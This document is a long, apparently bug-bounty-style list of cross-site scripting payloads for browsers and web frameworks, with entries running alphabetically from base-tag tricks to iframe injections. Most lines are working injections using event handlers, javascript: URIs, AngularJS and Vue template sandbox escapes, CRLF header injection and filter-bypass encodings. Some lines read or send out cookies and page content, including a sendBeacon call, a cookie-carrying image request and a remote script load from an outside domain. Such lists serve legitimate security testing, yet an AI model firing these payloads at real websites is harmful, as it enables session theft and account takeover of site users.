<base href="alert(1)" onfocus="a = /\/([^/]+)$/.exec(baseURI); eval(a[1]);" tabindex=1 style="display:block" autofocus></base>
<base+href="javascript:alert(1);//">
<base href="javascript:alert('XSS');">
<BASE HREF="javascript:alert('XSS');//">
<BASE HREF="javascript:javascript:alert(1);//">
%BCscript%BEalert(%A21%A2)%BC/script%BE
<bgsound onpropertychange=alert(1)>
<bgsound+src="javascript:alert(1);">
<bgsound src="javascript:alert('XSS');">
<BGSOUND SRC="javascript:alert('XSS');">
<BGSOUND SRC="javascript:javascript:alert(1);">
blah(""+new class b{toString=e=>location=name}+"")</script>
#blalala');alert(1);('a
blalala');alert(1);('a
<bleh/onclick=top[/al/.source+/ert/.source]&Tab;``>click
<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
<blink/
"><block%quote oncontextmenu%3Dconfirm(1)>Right click me</blockquote><!--
<body background="javascript:alert('Successful XSS')">
<BODY BACKGROUND="javascript:alert('XSS')">
<body language=vbs onload=confirm-1
<body onactivate=alert(1)>
<body onbeforeprint=console.log(1)>
"><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">
><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
<body onbeforeunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
<body onfocusin=alert(1)>
<body onhashchange="print()">	
<body oninput=javascript:alert(1)><input autofocus>
<body oninput=javascript:alert(/AmoloHT/)><input autofocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
"<BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert(“XSS”)>"
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
#<body onload=alert(“bingo”)>
<body onload=alert(“bingo”)>
#<body onload="alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<body onload=alert(/XSS/.source)>
<body onload body onload="javascript:javascript:alert(1)"></body onload>
<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">
<BODY ONLOAD=javascript:alert(1)>
<BODY ONLOAD=javascript:javascript:alert(1)>
<body/onload=&lt;!--&gt;&#10alert(1)>
"<body/onload=&lt;!--&gt;&#10confirm(1);prompt(/XSS/.source)>"
"\"><body/onload=&lt;!--&gt;&#10confirm(1);prompt(/XSS/.source)>",
<body onload="window.alert('XSS_WAF_BYPASS')">
"><body/onload="{x:onerror=alert};x"
"><body/onload="{x:onerror=alert};x"	
<body onmessage=print()>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
<body onorientationchange=alert(1)>
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
<body onpageshow=alert(1)>
"><body/oNpagEshoW=(confirm)(document.domain)>
"/><body onpageshow-prompt`assassin`//
<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
<body onpopstate=print()>
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
<body onresize="print()">
{` <body \< onscroll =1(_=prompt,_(String.fromCharCode(88,83,83,32,66,121,32,77,111,114,112,104,105,110,101)))> ´}
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<body ontouchend=alert(1)>
<body ontouchmove=alert(1)>
<body ontouchstart=alert(1)>
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
breakout"/href="javas%26%23x63 ;ript:selffalx\ert%'.replace(/x/,"]()"
<BR SIZE="&{alert('XSS')}">
<BR SIZE="&{javascript:alert(1)}">
</br style=a:expression(alert(1))>
<brute+onbeforescriptexecute=a=alert,a(1%26%23x29>
<b <script>alert(1)</script>0
'+ '</b><script>alert(document.cookie)</script><b><!--'
</b><script>alert(document.cookie)</script><b><!--
<button autofocus onfocus=alert(1)>test</button>
<button autofocus onfocus=confirm(2)>
<button formaction="javascript:alert('XSS')">Click me</button>
<button onClick="alert('xss')">Submit</button>
%c0″//(0000%0dconfirm(1)//
%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
\"));}catch(e){confirm(document.domain);}//
\"));}catch(e){confirm(document.domain)}//
;\"))}catch(e) {confirm(document.location);}//
;\\"))}catch(e) {confirm(document.location);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
\"));}catch(e){x=window.open('http://xss.cx/');setTimeout('confirm(x.document.body.innerText)',4000)}//
{{_c.constructor('alert(1)')()}}
'`"><*chr*script>log(*num*)</script>
coffinxp"*alert(1)*"
<command onclick="alert('XSS')">Command</command>
//comment%0a%0dalert(0);
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<comment><img src="</comment><img src=x onerror=javascript:alert(/AmoloHT/))//">
<component is=script text=alert(1)>
"-confirm(1)-"
#'-confirm(1)-
#*/confirm(1)
');confirm(1);//
'-confirm(1)-
\');confirm(1);//
\”-confirm`1`//
\”}})})-confirm`1`;({{/*///
confirm?.(1) 
\”}})})-confirm`1`(a=>{({b:{/*///
\”}})})-confirm`1`;(function(){({if(){/*///
confirm(1)".replace(/.+/,eval)//
confirm(1)>>>/xss
'+confirm(9)&&null=='
'-confirm(document.cookie)-'
#'confirm(document.domain)'>
'-confirm(document.domain)-'
'confirm(document.domain)'>
-(confirm)(document.domain)//
\";confirm(document.location);//
confirm(document.location)
confirm(document.selection.createRange().getBookmark())
confirm(location.hostname)
';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//";
confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//--
confirm(window.toStaticHTML('<base href="http://xss.cx/"></base>'));
confirm(window.toStaticHTML('<label style="overflow:hidden;background:red;display:block;width:4000px;height:4000px;position:absolute;top:0px;left:0px;" for="submit">Click'));
confirm(window.toStaticHTML('<marquee>foo</marquee>'));
confirm(<xss>xs{[function::status]}s</xss>)
<c/onpointerrawupdate=d=document,b=%27%60%27,d[%27loca%27%2B%27tion%27]=%27javascript%26colon;aler%27%2B%27t%27%2Bb%2Bdomain%2Bb>
console.log(document.domain)
{{constructor.constructor(‘a=document;confirm(a.domain)’)()}}
{{constructor.constructor("alert(0)")()}}
#{{constructor.constructor(alert`1`)()}}
#constructor.constructor('alert(1)')()
{{''.constructor.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
{{constructor.constructor(‘alert(1)’)()}}
{{constructor.constructor(alert`1`)()}}
constructor.constructor('alert(1)')()
[[constructor.constructor('alert(document.cookie)')()]]
{{{{constructor.constructor('alert(\"XSS\")')()}}
{{constructor.constructor('alert(/XSS Stored!/)')()}}
{{constructor.constructor('eval(atob(\'amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5jb29raWUp\'))')()}}
{{constructor.constructor('eval(atob("YWxlcnQoMSk="))')()}}
{{constructor.constructor('prompt(1)')()}}
{{constructor.constructor(valueOf.name.constructor.fromCharCode(97,108,101,114,116,40,49,41,10))()}}
/cpanelwebcall/<img src=x onerror="prompt(1)">aaaaaaaaaaaa
{{c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';astNode.argument={type:'Identifier',name:'foo'};");m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=''.sub;$eval('a(b.c)');[].push.apply=a;}}
{{c=''.sub.call;b=''.sub.bind;c.$apply=$apply;c.$eval=b;$root.$$phase=null;$root.$digest=$on; C=c.$apply(c);B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='alert(1)';astNode.argument={type:'Identifier'};");m1=$$asyncQueue.pop().expression;m2=B(C,null,m1);[].push.apply=m2;$eval('B(b)');}}
d1bvs%3c%2fscript%3e%3cscript%3ealert(`XSS`)%3c%2fscript%3ec579g
d1bvs</script><script>alert(`XSS`)</script>c579g
"><D3V%0aONPoiNtERENTEr%0d=%0d[document.cookie].find(confirm)%0dx>
“><D3V%0aONPoiNtERENTEr%0d=%0d[document.cookie].find(confirm)%0dx>
<d3v/onauxclick=[2].some(confirm)>click
<d3v/onauxclick=(((confirm)))``>click
<d3v/onmouseleave=[2].some(confirm)>click
d="alert('XSS');\")";
<data id=x tabindex=1 onfocus=alert(1)></data>
<datalist id="xss"><option value="&lt;script&gt;alert('XSS')&lt;/script&gt;"></datalist>
data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
data:text/html;base64,Ij48aW1nIHNyYz14IG9uZXJyb3I9cHJvbXB0KGRvY3VtZW50LmNvb2tpZSk7PjEy
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:text/html,<script>alert(0)</script>
<details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc(`VulneravelXSS`%26%2300000000000000000041//
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>
<details onauxclick=confirm`xss`></details>
<details+/'on+/ontoggle=1^confirm(document.domain)+open//
<details ontoggle=alert(1) open>test</details>
<details open id="' &quot;'"ontoggle=alert(1)>
<details/open/ontoggle=alert()>
<details/open/ontoggle="alert`1`">
<details open ontoggle="{alert`1`}"></details>
<details open ontoggle="alert(1)"><summary>Click me!</summary></details>
<details/open/ontoggle=(confirm)()//
">'><details/open/ontoggle=confirm('XSS')>
>'><details/open/ontoggle=confirm('XSS')>
"><details/open/ontoggle=confirm("/xss_by_Y000!/")>
<"><details/open/ontoggle="jAvAsCrIpT&colon;alert&lpar;/xss-by-tarun/&rpar;">XXXXX</a>
"><details/open/ontoggle=prompt("/test/")>
<details open ontoggle='self["ale"%2b"rt"]&lpar;document&period;domain&rpar;'>
<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];">
<details/open=/Open/href=/data=;+ontoggle="(alert)(document.domain)
<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle="prompt(document.cookie);">
<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle=&#x0000000000061;lert&#x000000028;origin&#x000029;>
dfsse%3cimg%20src%3da%20onerror%3dalert(1)%3ez1668cyj2pi
<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>
"><div class=progress><div onwebkitanimationstart=prompt(document.domain)>
<div data-url="javascript:alert('XSS')"></div>
<div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;">
<div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div>
'">><div><meter onmouseover="alert(1)"</div>"
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
<div oncopy="alert('XSS')">Copy me</div>
<div onkeyup="alert('XSS')">Press a key</div>
<div/onmouseover='alert(1)'> style="x:">
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
"><div onpointerrawupdate="console.log('XSS')">Click_Here_Click_Here_Click_Here_Click_Here_Click_Here_Click_Here_Click_Here_ClickHere</div>
"><div onpointerrawupdate="console.log('XSS')"></div><!--
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1,javascript:alert('XSS))">
<DIV+STYLE="background-image: url(javascript:alert(1))">
<div style="background-image:url(javascript:alert('Successful XSS'))">
<DIV STYLE="background-image: url(
javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:javascript:alert(1))">
"<div style="background-image: url(x)" onerror=prompt(document.domain);>
"><div style="background-image: url(x)" onerror=prompt(document.domain);>
<div style="border-image-source: url(javascript:alert('XSS'));">
<div style="content: url(javascript:alert('XSS'));">
<div style="cursor: url(javascript:alert('XSS')), auto;">
<div style="list-style-image: url(javascript:alert('XSS'));">
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
<div style="width:expression(alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<div/style="width:expression(confirm(1))">X</div> {IE7}
<DIV STYLE="width:expression(javascript:alert(1));">
<div v-html="''.constructor.constructor('alert(1)')()">a</div>
';document.addEventListener('DOMContentLoaded', function(){var c = function(){a();};var s = document.createElement('script');s.src = 'https://n.0x7359.com/xss.js';s.onreadystatechange = c;document.body.appendChild(s);});//
";document.body.addEventListener("DOMActivate",confirm(1))//
document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=confirm(1)>')
document.body.innerHTML=document.body.innerText
document.body.innerHTML="&ltimg src=x onerror=alert&lpar;23&rpar;&gt"
document.body.innerHTML="\u003cimg src=x onerror=alert\u002823\u0029\u003e";
document['cookie']
document.createElement('div').innerHTML = "<img src=1 onerror=alert()>
'() {'document.createElement('img').src='javascript:while(1){}'
document['default'+'View'][`\u0061lert`](3)
'-[document.domain].map(alert)-'
document.location='javascript:alert%2823%29'
',document.location='javascript:document.domain','
document.write(atob('PGltZyBzcmM9aHR0cDovL2xvY2FsaG9zdDo4MDkvcD89') + btoa(document.cookie) + '>')
";}(document.writeln(decodeURI(location.hash))-"#<iframe src=javascript:alert(document.domain)
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE
%E2%80%9C%3E%3CSvG%2Fonload%3Dalert%28document.domain%29%3E
%E5%98%8D%E5%98%8A%20<body onload=alert("bingo")>
%E5%98%8D%E5%98%8A%20<img src=1 onerror=alert(1)>
%E5%98%8D%E5%98%8A%20<img/src/onerror=alert(coffinxp`)>
%E5%98%8D%E5%98%8A%20"><img src=q onerror=alert(1)>
%E5%98%8D%E5%98%8A%20"><img src=x onerror=prompt(document.domain);>
%E5%98%8D%E5%98%8A%20javascript:alert(1)
%E5%98%8D%E5%98%8A%20<script>alert(1)</script>
%E5%98%8D%E5%98%8A%20<script>prompt(document.domain)</script>
%E5%98%8D%E5%98%8A%20"><svg onload=alert(1)>
%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%BCscript%E5%98%BEalert(1);%E5%98%BC/script%E5%98%BE
%E5%98%8D%E5%98%8ASet-Cookie%3A%20whoami%3Dthecyberneh%25u2028%25u2029XSS-Payload%3A%2520%3Cscript%3Ealert%281%29%3C%2Fscript%3E
%E5%98%8D%E5%98%8ASet-Cookie:whoami=thecyberneh%0d%0a%0a%3Cscript%3Ealert(1);%3C/script%3E
%E5%98%8D%E5%98%8ASet-Cookie:whoami=thecyberneh%0d%0a%0d%0a%0d%0a%0d%0a%3Cscript%3Ealert(1);%3C/script%3E
%E5%98%8D%E5%98%8ASet-Cookie:whoami=thecyberneh%0d%0a%0d%0a%3Cscript%3Ealert(1);%3C/script%3E
%E5%98%8D%E5%98%8ASet-Cookie:whoami=thecyberneh%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%BCscript%E5%98%BEalert(1);%E5%98%BC/script%E5%98%BE
%E5%98%8D%E5%98%8ASet-Cookie:whoami=thecyberneh%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%BCscript%E5%98%BEalert(1);%E5%98%BC/script%E5%98%BE%0D%0A%0D%0A<script>%0D%0Aalert(1);%0D%0A</script>
echo('IPT>alert("XSS")</SCRIPT>'); ?>
eeee<%2fscript><script>prompt(/XSS/.source)<%2fscript>yyyy
%EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E
%EF%BC%9Cscript%EF%BC%9E alert() %EF%BC%9C/script%EF%BC%9E
%EF%BC%9Cscript%EF%BC%9Ealert()%EF%BC%9C/script%EF%BC%9E
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<embed code=javascript:javascript:alert(1);></embed>
<embed code=%(scriptlet)s></embed>
<embed src="data:image/svg+xml;>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<embed src="data:text/html;base64,%(base64)s">
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<embed src="javascript:alert(1)">
<embed src=javascript:alert(1)>
<embed src=%(jscript)s></embed>
<embed type="image" src=%(scriptlet)s></embed>
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
">Enter_Mouse_Pointer_Here_to_get_XSS<P/onpointerenter="alert(1)"><<"
Enter_Mouse_Pointer_Here_to_get_XSS<P/onpointerenter="alert(1)">
en-us/Search#/?search="><img src=x onerror=prompt(document.domain);>
eval(0x258da033.toString(30))(1)
eval(1558153217..toString(36))(1)
eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
eval(630038579..toString(30))(1)
eval('alert(1)');
eval('al'+'ert'+'(12)');//
eval.apply`${[`alert\x2823\x29`]}`
eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe
eval(atob('YWxlcnQoKQ=='))
eval.call`${'alert\x2823\x29'}`
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0:2(1)',3,3,'javascript||alert'.split('|'),0,{}))
";eval(unescape(location))//# %0Aalert(0)
";eval(unescape(location))//#%0Aprompt(0)
%";eval(unescape(location))//#%0Aprompt(0)
"-eval("window['pro'%2B'mpt'](8)")-"
'-eval("window['pro'%2B'mpt'](8)")-'
<event-source src="%(event)s" onload="javascript:alert(1)">
<event-source src=javascript:alert(1)>
eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCdYU1MgUE9DIGJ5IERFREknKTwvc2NyaXB0PiJ9
<fieldset//%00//onsite OnMoUsEoVeR=\u0061\u006C\u0065\u0072\u0074/AAAA/>
<fieldset form="javascript:alert('XSS')">
&fileName=')},1000);alert("XSS`);//
fileName=')},1000);alert("XSS`);//
[]["filter"]["constructor"]("alert(1)")()
"firstname":"<img src ='","lastname":"'onerror=print()>"
<font style='color:expression(alert(1))'>
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
foo%00<script>alert(document.cookie)</script>
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
foo?q=foo<script>alert('xss')<%2fscript>
foo<script>alert(document.cookie)</script>
<! foo="><script>javascript:alert(1)</script>">
</ foo="><script>javascript:alert(1)</script>">
<? foo="><script>javascript:alert(1)</script>">
<footer id=x tabindex=1 onfocus=alert(1)></footer>
<% foo><x foo="%><script>javascript:alert(1)</script>">
<? foo="><x foo='?><script>javascript:alert(1)</script>'>">
for((i)in(self))eval(i)(1)
" formaction=java%26Tab%3bscript:ale%26Tab%3brt() type=image src=""
<form action=javascript:alert(1)><input type=submit>
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
<form action="javascript:alert('XSS')">
<form action="javascript:alert('XSS')"><input type="submit" value="XSS"></form>
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
<form><a href="javascript:\u0061lert(1)">X
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
<form><button formaction=javascript:alert(1)>click
<form><button formaction=javascript&colon;alert(1)>CLICKME
<form><button formaction="javascript:javascript:alert(1)">X
<form><button formaction="javascript:javascript:alert(/AmoloHT/)">X
<form><button formaction=javascript:top['ev'+'al'](self['\x61\x74\x6f\x62'](`YWxlcnQoMSk7`));//
<form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
<form id=x tabindex=1 onfocus=alert(1)></form>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(/AmoloHT/)"&#11;&#10;&#09;;>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><isindex formaction="javascript&colon;confirm(1)"
<form onfocus=alert(1) autofocus tabindex=1>	
"><form onformdata%3Dwindow.confirm(cookie)><button>XSS here<!--
"><form onformdata=window.confirm(document.cookie)><!--
<form onsubmit="alert('XSS')">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
for(t?c.outerHTmL=o:i=o=’’;i++<1024;o+=`<code onclick=this.innerHTmL=’${M(i)?’*’:n||’·’}’>#</code>${i%64?’’:’<p>’}`)for(n=j=0;j<9;n+=M(i-65+j%3+(j++/3|0)*64))M=i=>i>64&i<960&i%64>1&C(i*i)>.7
';frames['\141\154\145\162\164']('\130\123\123');//
<frameset><frame id=x onfocus=alert(1)>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
<frameset onload="alert('XSS')"></frameset>
<frameset onload=javascript:alert(1)>
<frameset onload=javascript:alert(/AmoloHT/)>
<frameset onload=javascript:javascript:alert(1)></frameset>
';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//
(function(a){alert(1)}).call()
(function(){alert(document.cookie)})();
Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();
(function(x){this[x+`ert`](1)})`al`
';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//
';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//
"&gt;&lt;img src=x onerror=prompt(document.domain);&gt;
"&gt;&lt;svg onload=alert(1)&gt;
”&gt;&lt;svg onload=alert&amp;#0000000040"1")&gt;
"&gt;&lt;Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBYU1MgQG1fa2VsZXBjZQ=="))&gt;
&gt;+src+onerror=confirm&amp;lpar;1&amp;rpar;&lt;
&gt;+src+onerror=confirm&lpar;1&rpar;&lt;
guest/msft_a_guest_register.php?_browser=1&title="><svg/onload=alert(1)>
<h1/%6f%6e/oNclicK=alert``>XSS
<h1 onfocus=alert(1) autofocus tabindex=1>
</h1><script>alert(1)</script><h1>
"><h2 id="Iamheading"onmouseover="confirm(1)">
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(/AmoloHT/)//#">XXX</a></body>
<head id=x tabindex=1 onfocus=alert(1) style=display:block></head>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
<hgroup onfocus=alert(1) autofocus tabindex=1>	
Hh'><marquee loop=1 width=0 onfinish=pr\u006fmpt`_Y000!_`>Y000</marquee>
Hh'><script>alert(1)</script>
'href=javascript:alert()>click me<a/y='
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;"></BODY></HTML>
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
"/*'/*`/*--><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
<html ontouchcancel=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchstart=alert(1)>
<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
http://example.com/?%0aalert(23)
https://me6.com/aem/xss2.svg
http://www.google<script .com>alert(document.location)</script
http://www.<script>alert(1)</script .com
<i[%00]mg onerror=alert(1) src=a>
ibrahimxss“autofocus onclick=’&#97;lert()’
<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
<!--[if<img src=x onerror=javascript:alert(1)//]>-->
<ifram%0de src=jav%0dascript:alert(document.cookie)>
<iframe><img title="</iframe><img src onerror=alert(1)>"></iframe>
<iframe name="<svg/onload=alert(23)>" src="http://example[.]com/x.php?age=23;%0adocument.body.innerHTML=name//">
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
#<iframe/onload=alert(0);>
<iframe/onload=alert(0);>
"><iframe onload=alert(1);>
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<iframe/onload="var b = 'document.domain)'; var a = 'JaV' + 'ascRipt:al' + 'ert(' + b; this['src']=a">
<iframe+/ON+onload=%20alert(/str0d/)>
<iframe/onreadystatechange=alert(1)
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061')
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<iframe/src='%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A:prompt`1`'>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<iframe/src=data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=></iframe>
